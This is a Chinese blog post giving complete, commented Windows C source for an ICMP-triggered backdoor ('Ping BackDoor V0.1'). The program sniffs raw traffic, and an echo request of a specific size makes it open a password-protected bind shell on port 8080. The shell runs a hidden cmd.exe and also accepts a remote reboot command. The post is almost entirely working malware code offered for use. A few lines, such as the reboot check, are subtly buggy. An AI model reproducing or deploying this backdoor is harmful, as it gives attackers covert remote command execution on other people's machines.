包含详细注释的pingback后门C源代码

快来打我* 2022-03-10 06:06 196阅读 0赞

\#include <stdio.h>  
\#include <stdlib.h>  
\#include <winsock2.h>  
//\#include <ws2tcpip.h>  
\#include <mstcpip.h>  
  
\#define ICMP\_ECHO 8 // ICMP回显请求报文的类型值为8  
\#define ICMP\_ECHOREPLY 0 // ICMP回显应答报文的类型值为0  
\#define SNIFFER\_ICMP\_SIZE 101 // 监听ICMP包的大?  
\#define BIND\_PORT 8080 // 默认bind shell 端口  
\#define MAX\_PACKET 10000 // 最大ICMP包的大?  
\#define DEF\_PASSWORD "givemeshell!" // 默认密码  
  
\#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP\_ZERO\_MEMORY,(s))  
  
// 定义IP 首部  
typedef struct iphdr  
\{  
unsigned char h\_verlen; // 4位首部长度,4位IP版本号 1  
unsigned char tos; // 8位服务类型TOS 1  
unsigned short total\_len; // 16位总长度(字节) 2  
unsigned short ident; // 16位标识 2  
unsigned short frag\_and\_flags; // 3位标志位 2  
unsigned char ttl; // 8位生存时间 TTL 1  
unsigned char proto; // 8位协议(TCP, UDP 或其它) 1  
unsigned short checksum; // 16位IP首部校验和 2  
unsigned int sourceIP; // 32位源IP地址 4  
unsigned int destIP; // 32位目的IP地址 4  
\} IPHeader; // IP首部长度为： 20  
  
// 定义ICMP首部  
typedef struct \_ihdr  
\{  
unsigned char i\_type; // 8位类型 1  
unsigned char i\_code; // 8位代码 1  
unsigned short i\_cksum; // 16位校验和 2  
unsigned short i\_id; // 识别号(用进程号作为识别) 2  
unsigned short i\_seq; // 报文序列号 2  
\} ICMPHeader; // ICMP首部长度为： 8  
  
int sniffer(); // 监听ICMP 大?  
void decode\_sniffer(char \*, int, struct sockaddr\_in \*); // 简单Sniffer 解包程序  
int bindshell(); // bind shell  
  
  
DWORD dwBufferLen\[10\];  
DWORD dwBufferInLen = 1;  
DWORD dwBytesReturned = 0;  
HANDLE bindthread;  
  
  
// ICMPDoor 主函数  
int main(int argc, char \*\*argv)  
\{  
WSADATA wsaData;  
int retval;  
  
// socket 初始化  
if ((retval = WSAStartup(MAKEWORD(2,2), &wsaData)) != 0)  
\{  
printf("WSAStartup failed: %d/n",retval);  
exit(-1);  
\}  
  
// sniffer 开始  
sniffer();  
  
// socket 结束  
WSACleanup();  
return 0;  
\}  
  
// sniffer 主函数  
int sniffer()  
\{  
int packsize = SNIFFER\_ICMP\_SIZE;  
SOCKET socksniffer;  
struct sockaddr\_in dest,from;  
struct hostent \* hp;  
int sread;  
int fromlen = sizeof(from);  
unsigned char LocalName\[256\];  
char \*recvbuf;  
  
  
// 创建一个原始socket, 接受所有接收的包(sniffer)  
if ((socksniffer = WSASocket(AF\_INET, SOCK\_RAW, IPPROTO\_IP, NULL, 0, WSA\_FLAG\_OVERLAPPED)) == INVALID\_SOCKET)  
\{  
printf("WSASocket() failed: %d/n", WSAGetLastError());  
return -1;  
\}  
  
// 取得本地地址  
gethostname((char\*)LocalName, sizeof(LocalName)-1);  
if((hp = gethostbyname((char\*)LocalName)) == NULL)  
\{  
return -1;  
\}  
memset(&dest,0,sizeof(dest));  
memcpy(&dest.sin\_addr.s\_addr, hp->h\_addr\_list\[0\], hp->h\_length); // TCP嗅探选项  
dest.sin\_family = AF\_INET;  
dest.sin\_port = htons(8000); // 指定任意端口  
// socket bind  
bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest));  
  
// 设置socket为接受所有包  
WSAIoctl(socksniffer, SIO\_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen,  
  
sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );  
  
// 分配socket接收缓冲区大小为MAX\_PACKET  
recvbuf = (char \*)xmalloc(MAX\_PACKET);  
  
printf("Sniffer ok!");  
  
// 循环监听包的大小  
while(1)  
\{  
// 读数据  
sread = recvfrom(socksniffer, recvbuf, MAX\_PACKET, 0, (struct sockaddr\*)&from, &fromlen);  
  
// 如果读数据出错  
if (sread == SOCKET\_ERROR || sread < 0)  
\{  
if (WSAGetLastError() == WSAETIMEDOUT)  
\{  
continue;  
\}  
printf("recvfrom failed: %d/n",WSAGetLastError());  
return -1;  
\}  
else  
// if ( sread >= 28)  
// 如果读到数据的大小 == 监听包的大小 + 28  
if ( sread == packsize + 28)  
\{  
// 将接收到的数据交给 Sniffer 解包程序处理  
decode\_sniffer(recvbuf, sread - 28, &from);  
\}  
\}  
return 1;  
\}  
  
// 简单Sniffer 解包程序  
void decode\_sniffer(char \*buf, int bytes, struct sockaddr\_in \*from)  
\{  
ICMPHeader \*icmphdr;  
  
// ICMP首部的地址等于buf+IP首部长度：buf+20  
icmphdr = (ICMPHeader \*)(buf + sizeof(IPHeader));  
  
/\*  
printf("/r/n %d bytes from %s,", bytes, inet\_ntoa(from->sin\_addr)); // 取出接收数据  
printf(" ICMP\_Type: %d", icmphdr->i\_type); // 检测类型  
printf(" ICMP\_Seq: %d/r/n", icmphdr->i\_seq); // 取出序列号  
  
//?出数据段 buf + 28 + i  
for(int i = 0; i < bytes - 1; i++)  
\{  
printf("%c", \*(buf + sizeof(IPHeader) + sizeof(ICMPHeader) + i));  
\}  
\*/  
  
// if (icmphdr->i\_type == ICMP\_ECHO || icmphdr->i\_type == ICMP\_ECHOREPLY)  
// 简单判断如果为icmp 请求包  
if (icmphdr->i\_type == ICMP\_ECHO)  
\{  
// bind shell  
bindshell();  
  
// DWORD bid;  
// bindthread = CreateThread(NULL, 0, bindshell, 0, 0, &bid);  
\}  
else  
printf("/r/n Get Other Packets!");  
  
return;  
\}  
  
// bind shell函数  
int bindshell()\{  
int bport = BIND\_PORT;  
SOCKET bindServer, getClient;  
struct sockaddr\_in addrServer, addrClient;  
char Buff\[4096\];  
char \*messages = "/r/n======================== Ping BackDoor V0.1 ========================/r/n========= Code by Lion.  
  
Welcome to  [Http://www.cnhonker.net][Http_www.cnhonker.net]  =========/r/n";  
char \*getpass = "/r/n Your PassWord:";  
char \*passok = "/r/n OK! Please Enter:";  
char \*nothispass = "/r/n Sorry, Your PassWord Not Right./r/n";  
char \*exitok = "/r/n Exit OK!/r/n";  
char \*rebootok = "/r/n Reboot now!/r/n";  
  
// 创建一个socket  
bindServer = socket(AF\_INET, SOCK\_STREAM, IPPROTO\_TCP);  
  
// 服务器地址和端口指定  
addrServer.sin\_family = AF\_INET;  
addrServer.sin\_port = htons(bport);  
addrServer.sin\_addr.s\_addr = ADDR\_ANY;  
  
  
// 设置超时  
int TimeOut = 60000;  
setsockopt(bindServer, SOL\_SOCKET, SO\_RCVTIMEO, (char\*)&TimeOut, sizeof(TimeOut));  
  
// 设置重复利用端口  
UINT bReUser = 1;  
setsockopt(bindServer, SOL\_SOCKET, SO\_REUSEADDR, (char\*)&bReUser, sizeof(bReUser));  
  
// 监听端口  
bind(bindServer, (struct sockaddr\*)&addrServer, sizeof(addrServer));  
listen(bindServer, 2);  
  
printf("/r/n Bind Port on %d ok.", bport);  
  
// 接受client连接  
int iLen = sizeof(addrClient);  
  
// 接收1次连接  
getClient = accept(bindServer, (struct sockaddr\*)&addrClient, &iLen);  
  
if(getClient != INVALID\_SOCKET)  
\{  
// 如果有连接进来设置延时为60S  
int iTimeOut = 60000;  
setsockopt(getClient, SOL\_SOCKET, SO\_RCVTIMEO, (char\*)&iTimeOut, sizeof(iTimeOut));  
\}  
else  
return -1;  
  
// 写欢迎信息  
send(getClient, messages, strlen(messages), 0);  
  
// 写密码验证信息  
send(getClient, getpass, strlen(getpass), 0);  
  
// 接收数据  
recv(getClient,Buff,1024,0);  
  
// 验证密码  
if(!(strstr(Buff, DEF\_PASSWORD)))  
\{  
// 如果密码错误,写密码错误信息  
send(getClient, nothispass, strlen(nothispass), 0);  
printf("/r/n PassWord Not Right!");  
closesocket(getClient);  
closesocket(bindServer);  
return -1;  
\}  
  
// 写通过验证信息  
send(getClient, passok, strlen(passok), 0);  
  
// 建两个匿名管道  
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;  
unsigned long lBytesRead;  
  
SECURITY\_ATTRIBUTES sa;  
  
sa.nLength=12;  
sa.lpSecurityDescriptor=0;  
sa.bInheritHandle=TRUE;  
  
CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);  
CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);  
  
  
STARTUPINFO siinfo;  
char cmdLine\[\] = "cmd.exe";  
PROCESS\_INFORMATION ProcessInformation;  
  
ZeroMemory(&siinfo,sizeof(siinfo));  
siinfo.dwFlags = STARTF\_USESHOWWINDOW|STARTF\_USESTDHANDLES;  
siinfo.wShowWindow = SW\_HIDE;  
siinfo.hStdInput = hReadPipe2; // 读socket写入pipe2的数据  
siinfo.hStdOutput = siinfo.hStdError = hWritePipe1; // 向这里写数据  
  
printf("/r/n Pipe Create OK!");  
  
// 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据  
int bread = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);  
  
while(1)  
\{  
// 检查管道是否有数据返回  
int ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);  
  
if(lBytesRead)  
\{  
// 从管道hReadPipe1读数据  
ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);  
if(!ret) break;  
  
// 把从管道hReadPipe1读到的数据写入连接 getClient  
ret = send(getClient,Buff,lBytesRead,0);  
if(ret <= 0) break;  
\}  
else  
\{  
// 如果连接 getClient 有接收到数据  
lBytesRead = recv(getClient,Buff,1024,0);  
if(lBytesRead <= 0) break;  
  
// 把从连接 getClient 读到的数据写入hWritePipe2  
ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);  
  
if(lBytesRead > 4 && Buff\[0\]=='e' && Buff\[1\]=='x' && Buff\[2\]=='i' && Buff\[3\]=='t')  
\{  
// 写退出信息  
send(getClient, exitok, strlen(exitok), 0);  
closesocket(getClient);  
closesocket(bindServer);  
return 1;  
\}  
else if(lBytesRead > 6 && Buff\[0\]=='r' && Buff\[1\]=='e' && Buff\[2\]=='b' && Buff\[3\]=='o' &&  
  
Buff\[1\]=='o' && Buff\[2\]=='t')  
\{  
// 写重启  
send(getClient, rebootok, strlen(rebootok), 0);  
closesocket(getClient);  
closesocket(bindServer);  
ExitWindowsEx(EWX\_REBOOT,NULL);  
return 1;  
\}  
  
if(!ret) break;  
\}  
\}  
  
closesocket(getClient);  
closesocket(bindServer);  
return 1;  
\}

[Http_www.cnhonker.net]: http://www.cnhonker.net/